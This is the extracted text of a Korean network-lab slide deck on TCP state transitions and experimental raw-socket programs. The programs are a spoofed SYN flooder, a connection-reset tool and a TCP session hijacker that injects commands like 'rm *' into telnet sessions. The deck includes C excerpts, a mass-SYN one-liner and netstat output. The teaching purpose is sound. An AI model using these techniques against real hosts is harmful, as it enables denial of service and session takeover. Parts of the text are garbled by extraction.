Download presentation
Presentation is loading. Please wait.
1
TCP/IP Network Experimental Programming [TCP의 실험]
고 준 상 네트워크 실험실
2
목차[1] TCP란 TCP SYN프로그램 TCP와 상태천이 상태천이와 커넥션 연결 및 차단 tcp syn의 개요
3
목차[2] TCP RST 프로그램 TCP JACK 프로그램 tcp rst의 개요 tcp rst의 사용방법
4
TCP와 상태천이[1] TCP의 상태천이
5
TCP와 상태천이[2] TCP의 상태표시 netstat 명령어
-FreeBSD –f inet –n(ip 주소나 port 번호를 숫자로) -Linux –t 옵션
6
TCP와 상태천이[3] FreeBSD –f inet –n #netstat –f inet -n
Active Internet connectios Proto Recv-Q Send-Q Local Address Foreign Address State tcp : TIME_WAIT tcp : ESTABLISHED tcp : ESTABLISHED Proto : 사용프로토콜 tcp4=IPV4 , tcp6=IPV6 Recv-Q Send-Q : 송,수신버퍼에 저장되어 있는 패켓의 바이트수 Local Address : netstat을 실행한 호스트의 IP Address와 PORT번호 Foreign Address : 통신상대의 IP Address와 PORT번호 State : TCP상태 천이도내의 상태
7
TCP와 상태천이[4] Linux –t 옵션 # netstat –tn
Active Internet connectios(w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp : : SYN_RECV tcp : : STABLISHED tcp : : FIN_WAIT2 tcp : : FIN_WAIT2 tcp : : ESTABLISHED tcp : : TIME_WAIT Proto : 사용프로토콜 tcp4=IPV4 , tcp6=IPV6 Recv-Q Send-Q : 송,수신버퍼에 저장되어 있는 패켓의 바이트수 Local Address : netstat을 실행한 호스트의 IP Address와 PORT번호 Foreign Address : 통신상대의 IP Address와 PORT번호 State : TCP상태 천이도내의 상태
8
TCP와 상태천이[5] HP - UX #netstat –inet -n
9
TCP와 상태천이[6] HP - UX #netstat –tn
10
상태천이와 커넥션 연결 및 차단[1] TCP의 커넥션 연결
11
상태천이와 커넥션 연결 및 차단[2] TCP의 커넥션 연결 클라이언트 서버 Connect call listen call
클라이언트 서버 Connect call listen call Syn송신 CLOSED->LISTEN CLOSED->SYN_SENT SYN수신, Syn,ACK 송신 Syn,ACK 수신 LISTEN->SYN_RCVD SYN_SENT->ESTABLISHED ACK송신 ACK수신 SYN_RCVD-> ESTABLISHED 커넥션 연결완료
12
상태천이와 커넥션 연결 및 차단[3] TCP의 커넥션 차단
13
상태천이와 커넥션 연결 및 차단[4] TCP의 커넥션 차단
Active close(능동적차단) : 자발적으로 FIN 세그먼트를 보낸상태 close system call우선 실행 Passive close(수동적차단): 상대로부터 FIN 세그먼트를 받은상태 능동 호스트A 수동 호스트B Close call FIN송신 FIN수신, ACK송신 ESTABLISHED->FIN_WAIT1 ESTABLISHED->CLOSE_WAIT ACK수신,ACK송신 FIN송신 FIN_WAIT1->FIN_WAIT CLOSE_WAIT->LAST ACK FIN수신 ACK수신 FIN_WAIT2->TIME_WAIT LAST_ACK->CLOSED TIME OUT= 2MSL TCP통신종료 TIME_WAIT->CLOSED TCP통신종료 ※ MSL(Maximum Segment Lifetime)
14
상태천이와 커넥션 연결 및 차단[5] TCP 커넥션의 동시연결과 동시차단
15
상태천이와 커넥션 연결 및 차단[6] SYN_SENT -> SYN_RCVD FIN_WAIT1 -> CLOSING
TCP 커넥션의 동시연결과 동시차단 SYN_SENT -> SYN_RCVD FIN_WAIT1 -> CLOSING 커넥션 차단처리가 동시에 행해질때 송신한 FIN에 대한 ACK가 돌아오기전에 FIN이도달한 경우
16
상태천이와 커넥션 연결 및 차단[7] TCP 커넥션의 예외 RST FLAG가 설정된 세그먼트가 보내질때
LISTEN,SYN_RCVD일때 RST수신경우 LISTEN SYN_RCVD일때 RST수신경우 LISTEN 그밖의 상태 일때 > CLOSED
17
TCP SYN 의 개요[1] 호스트 B 192.168.3.104 가공호스트 C 192.168.3.99 호스트 A
SYN ,ACK세그먼트를 송신한다(동일Ethernet 세그먼트의경우에는 ARP 가 성공되지 않으면 송신할수 없다) tcpsyn SYN 세그먼트를 송신한다 ① ② Dst_ip Dst_port 23 Src_ip V : HL : 5 TOS : TL: ID : 0 F M FO : Src_port 5000 TTL : P : CKSUM : IP 헤더 SRC IP : DST IP : SRC PORT : 5000 DST PORT : 23 SEQ TCP 헤더 ACK : WIN : CKSUM URG : 그림 8.5 tcp syn의 동작개요
18
TCP SYN 의 개요[2] TCP SYN의 개요 임의의 IP Address , port를 향해서
Source IP Address, Source port도 임의의 값 지정가능 동작개요 SYN 세그먼트 수신서버 SYN , ACK 보내기전의 PORT미존재시 송신안됨 syn 세그먼트 대량송신 [이이상 커넥션을 기다리지않음] 상태 커넥션연결불능(일정시간)
19
TCP SYN 의 사용방법 , 실행예[1] TCP SYN의 사용방법
src_ip src_port 실제 존재시 통신불능 WHY SYN 세그먼트 수신 호스트가 SYN,ACK 작성후 RST 세그먼트를 보내므로 TCP커넥션 제거됨 TCP SYN의 실행예 tcp syn dst_ip dst_port src_ip src_port seq ./tcp syn dst_ip dst_port src_ip src_port seq
20
TCP SYN 실행후 호스트B(FreeBSD)의 커넥션 상태
# netstat –f inet -n Active Internet connectios Proto Recv-Q Send-Q Local Address Foreign Address State tcp SYN_RCVD 가공의 호스트C의 MAC 어드레스 획득불가로 되돌아온 ARP패킷만 Ethernet상에 흐름 ARP 모듈로부터 도달불능 통지 or SYN,ACK 세그먼트 여러 번 재전송으로 통신불능 상태일때까지 계속 ->Dos공격의 일종
21
TCP SYN 실행 예[3] 대량의 TCP SYN 송신
#pert -e 'for($i=1; $1<254; $i++) (print "./tcpsyn $i 1/n")' /sh) 커넥션 수신큐가 꽉차서 얼마간의 간격을 비우지 않으면 tcp 커넥션 불가능
22
TCP SYN 실행 예[4] 대량의 TCP SYN 송신후 (Linux) 1/2 # netstat -nt
실제 존재 address 대량의 TCP SYN 송신후 (Linux) 1/2 # netstat -nt Proto Recv-Q Send-Q Local Address Foreign Address State tcp : : SYN_RECV tcp : : SYN_RECV tcp : : SYN_RECV tcp : : SYN_RECV tcp : : SYN_RECV tcp : : SYN_RECV tcp : : SYN_RECV tcp : :10 SYN_RECV tcp : :11 SYN_RECV tcp : :13 SYN_RECV tcp : :14 SYN_RECV tcp : :15 SYN_RECV tcp : :16 SYN_RECV tcp : :17 SYN_RECV 실제 존재 address
23
TCP SYN 실행 예[5] 대량의 TCP SYN 송신후 (Linux) 2/2
tcp : :18 SYN_RECV tcp : :19 SYN_RECV tcp : :20 SYN_RECV tcp : :21 SYN_RECV tcp : :22 SYN_RECV tcp : :23 SYN_RECV tcp : :24 SYN_RECV tcp : :25 SYN_RECV tcp : :102 SYN_RECV tcp : :103 SYN_RECV tcp : :105 SYN_RECV tcp : :106 SYN_RECV tcp : :130 SYN_RECV tcp : :131 SYN_RECV tcp : :132 SYN_RECV 실제 존재 address 커넥션 수신큐full
24
TCP SYN 의 처리흐름[1] TCP SYN 함수구조도 make_tcp_header (TCP헤더를 작성한다) main
checksum make_ip_header (IP헤더를 작성한다) 그림 8.6 tcpsyn의 함수구조도
25
TCP SYN 의 처리흐름[2] TCP SYN 함수구조도 송신패킷 작성시: 상위층부터 순서대로 작성 수신패킷 처리시:
시작 송신용 RAW소켓을 연다 송신패킷 작성시: 상위층부터 순서대로 작성 명령어 인수로부터 헤더로 설정된 값을 꺼낸다 TCP헤더를 작성 make_tcp_header IP헤더를 작성 make_ip_header 수신패킷 처리시: 하위층부터 순서대로 해석 패킷의 송신 (sendto) 소켓을 닫는다 (close) 종료 그림 8.7 tcp syn의 처리흐름
26
TCP SYN 프로그램 리스트의 해설[1]
27
TCP SYN 프로그램 리스트의 해설[2] IP 헤더, TCP 헤더 ,애플리케이션 데이터를 모듈로 가진
packet_tcp구조체 정의 packet_tcp구조체에 data저장 패킷송신 packet _tcp구조체 선언 44~48 44 struct packet_tcp{ 45 struct ip ip; 46 struct tcphdr tcp 47 u_char data[MAXDATA] 48 }; 변수선언 57 57 struct packet_tcp send; /* 송신 TCP 패킷 */
28
TCP SYN 프로그램 리스트의 해설[3] Raw 소켓 open 78~81 77 /* RAW 소켓의 오픈 */
78 if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { perror("socket(SOCK_RAW)"); exit(EXIT_FAILURE); 81 } Raw 소켓설정변경 IP헤더 작성 84~87 /* IP 헤더를 스스로 작성 */ if (setsockopt(s, IPPROTO_IP,IP_HDRINCL,&on, sizeof(on))<0) { perror("setsockopt(IPPROTO_IP, IP_HDRINCL)"); exit(EXIT_FAILURE); }
29
TCP SYN 프로그램 리스트의 해설[4] 명령어 인수에 옵션으로 설정된 값 선별 90~99 89 /* 헤더값 설정 */
89 /* 헤더값 설정 */ 90 memset((char *) &dest, 0, sizeof(dest)); 91 dest.sin_family = AF_INET; 92 dst_ip = dest.sin_addr.s_addr = inet_addr(argv[DST_IP]); 93 src_ip=inet_addr(argv[SRC_IP]); 94 sscanf(argv[DST_PORT], "%hu", &dst_port); 95 sscanf(argv[SRC_PORT], "%hu", &src_port); 96 sscanf(argv[SEQ], "%ul", &seq); 97 ack=0; 98 datalen = 0; 99 iplen =datalen + sizeof(send.ip) + sizeof(send.tcp); Src IP Address설정 93
30
TCP SYN 프로그램 리스트의 해설[5] Tcp 헤더작성 103
103 make_tcp_header(&send,src_ip,src_port, dst_ip, dst_port, seq, ack, datalen); IP 헤더작성 104 104 make_ip_header(&(send.ip) ,src_ip, dst_ip, iplen); 패킷송신 110~114 108 /* SYN 패킷 송신 */ 109 printf("SYN send to %s. \n", argv[DST_IP]); 110 if (sendto(s, (char *) &send, iplen, 0, (struct sockaddr *) &dest, sizeof(dest)) < 0) { perror("sendto") exit(EXIT_FAILURE); }
31
TCP SYN 프로그램 리스트의 해설[6] 패킷송신 110~114
Make_tcp_header함수는 IP헤더의 선두 어드레스를 인수로 수수 because 1) 체크섬을 없앤 TCP헤더 작성후에 2) IP헤더의 최후 8비트의 영역에 tcp의사헤더를 작성 3) 체크섬계산 tcp의사 헤더는 체크섬의 계산에만 이용 때문에 tcp헤더 작성후에 make_Ip_address함수에서 IP헤더작성시 Tcp 의사헤더의 영역을 적어서 IP address작성
32
TCP RST의 개요 , 사용방법 Tcp rst의 개요 TCP RST를 송신하는 프로그램 Tcp rst의 사용방법
ESTABLISHED 상태의 TCP커넥션 강제차단 Tcp rst의 사용방법 tcp rst dst_ip dst_port src_ip src_port seq ack
33
TCP RST 의 실행예[1]
34
TCP RST 의 실행예[2] Tcp rst의 실행예 ./ipdump –i eth0 –p ip tcp
HOST-A tcpc HOST-D tcps 명령어 > 처리결과 -- 확인응답 ./ipdump –i eth0 –p ip tcp
35
TCP RST 의 실행예[3] 취득정보 Protocol: IP
IV:4 HL: 5 T: Total Length Identifier: FF:0D0 FO: TTL: Pro: Header Checksum: Source IP Address: 취득정보(3) Destination IP Address 취득정보(1) Protocol: TCP Source PORT: Destination PORT: 취득정보(4),(2) Sequence Number: 취득정보(5) Acknowledgement Number: 취득정보(6) Do: 5 Reserved F:0A0000 Window Size Checksum Urgent Pointer:
36
TCP RST 의 실행예[4] Tcp rst의 실행예
LAST PACKET취득정보를 tcprst의 인수로 지정실행 => 커넥션차단 # ./tcprst reset # ./tcprst
37
TCP RST 의 실행예[5] Tcp rst실행후 Protocol: IP
IV:4 HL: 5 T: Total Length Identifier: FF:000 FO: TTL: Pro: Header Checksum: Source IP Address: Destination IP Address Protocol: TCP Source PORT: Destination PORT: Sequence Number: Acknowledgement Number: Do: 5 Reserved F:000R00 Window Size Checksum Urgent Pointer:
38
TCP RST 의 실행예[6] rst세그먼트 송신후
39
TCP RST 의 실행예[7] rst세그먼트 송신후 HOST-D에서는 패킷을 흐르지않게하고 커넥션정보를 초기화
HOST-A는 HOST-D가 커넥션정보를 제거한것을 알지못하며 HOST-A에 커넥션정보가 영구히 남게됨 문제해결 KEEP ALIVE 2시간마다 ACK패킷을 서로 보내서 통신상대가 존재하는지 여부확인 Application사이에서 정기적 메세지
40
TCP RST 프로그램 리스트의 해설 TCP SYN와의 차이점 1. 양면출력 메시지 2. 명령어인수가 하나많다(확인응답번호)
3. make_tcp_header 함수중의 packet->tcp.th_flags로 설정하고 있는 플래그
41
TCP JACK의 개요 TCP JACK의 개요 TCP 커넥션 제거명령 서버나 클라이언트에 대해서 한방향의 호스트에서
42
실행후 key 입력대기상태에서 보내고 싶은 문자열입력, enter
TCP JACK의 사용방법 TCP JACK의 사용방법 tcpjack dst_ip dst_port src_ip src_port seq ack 실행후 key 입력대기상태에서 보내고 싶은 문자열입력, enter
43
TCP JACK의 실행예[1]
44
TCP JACK 의 실행예[2] HOST-C에서 ipdump실행 Ipdump에서 패킷모니터링하면서 HOST-A에서
Shownic 입력후 키보드 입력중지 -> 마지막 패킷은 HOST-A에서 HOST-D로 흐른 확인응답 패킷이 됨. 취득정보 숫자를 인수에 지정후 tcpjack실행 실행후에는 명령어 입력(키 입력대기상태가 되므로) ./ipdump –i eth0 –p ip tcp
45
TCP JACK 의 실행예[3] tcpjack 실행
Ipdump 모니터링 결과관찰(dump정보 문자부분) # ./tcpjack show arp Jack ?( ) at 0:10:5a:70:33:61 [ethernet]
46
TCP JACK 의 실행예[4] tcpjack 실행 ( telnet접속후)
클라이언트에 표시되는것과 같음 보안에 심각한 문제 보안성 높은 원격로그인 시스템사용필요(ex:ssh) # ./tcpjack cal rm *
47
TCP JACK 프로그램 리스트의 해설 TCP RST와의 차이점 1. 표준입력으로부터 메시지를 입력하는지 여부
2. 화면에 출력되는 메세지 3. make_tcp_header 함수중의 packet->tcp.th_flags로 설정하고 있는 플래그
48
Q & A
Similar presentations